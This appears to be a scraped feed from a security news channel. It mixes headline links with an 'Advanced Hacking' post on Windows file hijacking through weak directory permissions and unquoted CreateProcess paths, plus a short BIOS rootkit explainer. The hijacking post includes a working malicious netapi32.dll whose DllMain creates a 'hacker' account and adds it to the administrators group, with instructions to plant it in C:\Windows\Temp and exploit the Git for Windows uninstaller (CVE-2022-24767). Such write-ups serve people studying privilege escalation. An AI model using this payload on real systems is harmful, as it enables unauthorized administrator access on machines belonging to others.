🚨 Beware of Smishing Scams: Protect Yourself from Text Message Threats

https://undercodenews.com/beware-of-smishing-scams-protect-yourself-from-text-message-threats/

@Undercode_News

🛡️ Cyber Security Transparency: A Flawed System

https://undercodenews.com/cyber-security-transparency-a-flawed-system/

@Undercode_News

Informative Enhancing Code Integrity with Persistent Commit Signature Verification

https://undercodenews.com/informative-enhancing-code-integrity-with-persistent-commit-signature-verification/

@Undercode_News

Scammers Cash In: Americans Lose Billions to Government and Tech Support Impersonators

https://undercodenews.com/scammers-cash-in-americans-lose-billions-to-government-and-tech-support-impersonators/

@Undercode_News

Target Discounts Gift Cards, Bath & Body Works Candle Day Returns, and More Holiday Deals

https://undercodenews.com/target-discounts-gift-cards-bath-body-works-candle-day-returns-and-more-holiday-deals/

@Undercode_News

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Advanced Hacking: file hijacking caused by directory permissions:

In Windows systems, improper permissions on certain directories or files allow attackers to implant malicious files or execute files in these directories. Since these directories lack effective access control and security review, attackers can exploit vulnerabilities to modify, replace or inject files, or even hijack legitimate processes or services in the system.

In Windows systems, there are some typical weak-permission directories, such as C:\Windows\Temp, C:\ProgramDataetc. These directories are usually used to store temporary files. However, many applications and users do not set sufficient permission control for these directories when using them. Attackers can implement file hijacking attacks by placing malicious executable files in these directories, thereby executing code or elevating system permissions.

Several file hijacking cases to understand the security issues caused by weak permission directories. Before going into specific cases, let's start with the CreateProcess API.

1️⃣. Unsafe use of CreateProcess
CreateProcessThe API is the basic function used to create a new process in Windows. Its working mechanism is crucial to program startup and path resolution. This API has multiple parameters, among which lpApplicationNameand lpCommandLineare key parameters, which together affect the behavior of process creation, especially how to parse and execute the passed executable file path.

CreateProcessBasic usage

CreateProcessThe prototype is as follows:

BOOL CreateProcess(
  LPCWSTR lpApplicationName, 
  LPWSTR lpCommandLine,        
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  
  LPSECURITY_ATTRIBUTES lpThreadAttributes,   
  BOOL bInheritHandles,         
  DWORD dwCreationFlags,       
  LPVOID lpEnvironment,        
  LPCWSTR lpCurrentDirectory,  
  LPSTARTUPINFO lpStartupInfo,  
  LPPROCESS_INFORMATION lpProcessInformation  
);

2️⃣ lpApplicationName: Specifies the path to the application (optional). If NULL, the system will lpCommandLineparse the application path from the first space-delimited item of .
lpCommandLine: Command line arguments passed to the new process. If lpApplicationName, NULLthis argument must include the full path to the application or command name.
lpApplicationNameNULLPath resolution for

When lpApplicationNameis NULL, the system must lpCommandLineparse the executable file path from . This process involves path parsing and processing, which may involve the problem of file names containing spaces.

Path resolution order on the command line:

Let's look at an example from Microsoft's official documentation. Suppose that lpCommandLineit contains something like the following:

c:\program files\sub dir\program name

3️⃣CreateProcess executes the path without quotes, and lpApplicationNamethe NULLsystem will parse the path in the following order:

c:\program.exe: The system first attempts to parse the path by truncating it from the beginning of the string c:\program.exe.
c:\program files\sub.exe: If the first resolution fails, the system attempts to resolve the path to c:\program files\sub.exe.
c:\program files\sub dir\program.exe: Next, the system tries to resolve the entire path, thinks program.exeit is an executable file name, and tries to execute it.
c:\program files\sub dir\program name.exe: Finally, the system attempts to resolve program nameas an executable file name and appends .exethe extension to it.

4️⃣Write a POC program test:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");

// STARTUPINFO PROCESS_INFORMATION
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

// CreateProcessA（ANSI）
if (CreateProcessA(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}

free(szCmdline);

return 0;
}

5️⃣This test program attempts to start "c:\program files\sub dir\program name" via CreateProcessA, compile and run the program, and monitor it using Process Monitor.

, you can see that Process Monitor monitors the expected behavior of the program. If program.exe exists in the root directory of drive C, then c:\program.exe will be executed.

The safe usage of CreateProcess API should be:

LPTSTR szCmdline[] = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
    CreateProcess(NULL, szCmdline, /*...*/);

If lpApplicationName is set to NULL , the executable file path in lpCommandLine needs to be quoted. Another API function with similar behavior is CreateProcessAsUser.

6️⃣ Directory permissions and file hijacking
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.

7️⃣Case Analysis
EXE hijacking caused by weak permission directory:

> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.

8️⃣Local privilege escalation due to weak system directory permissions:

CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account

The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.

9️⃣ Since ordinary users also have C:\Windows\Tempwrite permissions to the directory, low-privilege attackers can write malicious dlls to C:\Windows\Tempthe directory. When the system user uninstalls the Git program, the malicious dll will run, and the attacker can achieve the purpose of privilege escalation.

1️⃣0️⃣we try to execute malicious code by hijacking netapi32.dll.

Malicious netapi32.dll test code:

#include<stdio.h>
#include<windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\"");
        ExitProcess(0);
    }
    return TRUE;
}

After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🔴 pnpm, Override Mishap, #CVE-TBD (Critical)

https://dailycve.com/pnpm-override-mishap-cve-tbd-critical/

@DailyCVE

⚡️ Mozilla Welcomes New Leadership to Drive Innovation and Growth

https://undercodenews.com/mozilla-welcomes-new-leadership-to-drive-innovation-and-growth/

@Undercode_News

🔵 Ruby on #Rails, Cross-Site Scripting (XSS), #CVE-2024-XXXX (Low)

https://dailycve.com/ruby-on-rails-cross-site-scripting-xss-cve-2024-xxxx-low/

@Daily_CVE

🤖 GM Shifts Gears: Focuses In-House Autonomy Over Cruise Robotaxis

https://undercodenews.com/gm-shifts-gears-focuses-in-house-autonomy-over-cruise-robotaxis/

@Undercode_News

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.

The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.

Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.

A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:

The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authentic… and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.

Methods of preventing BIOS rootkit attacks include:

Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁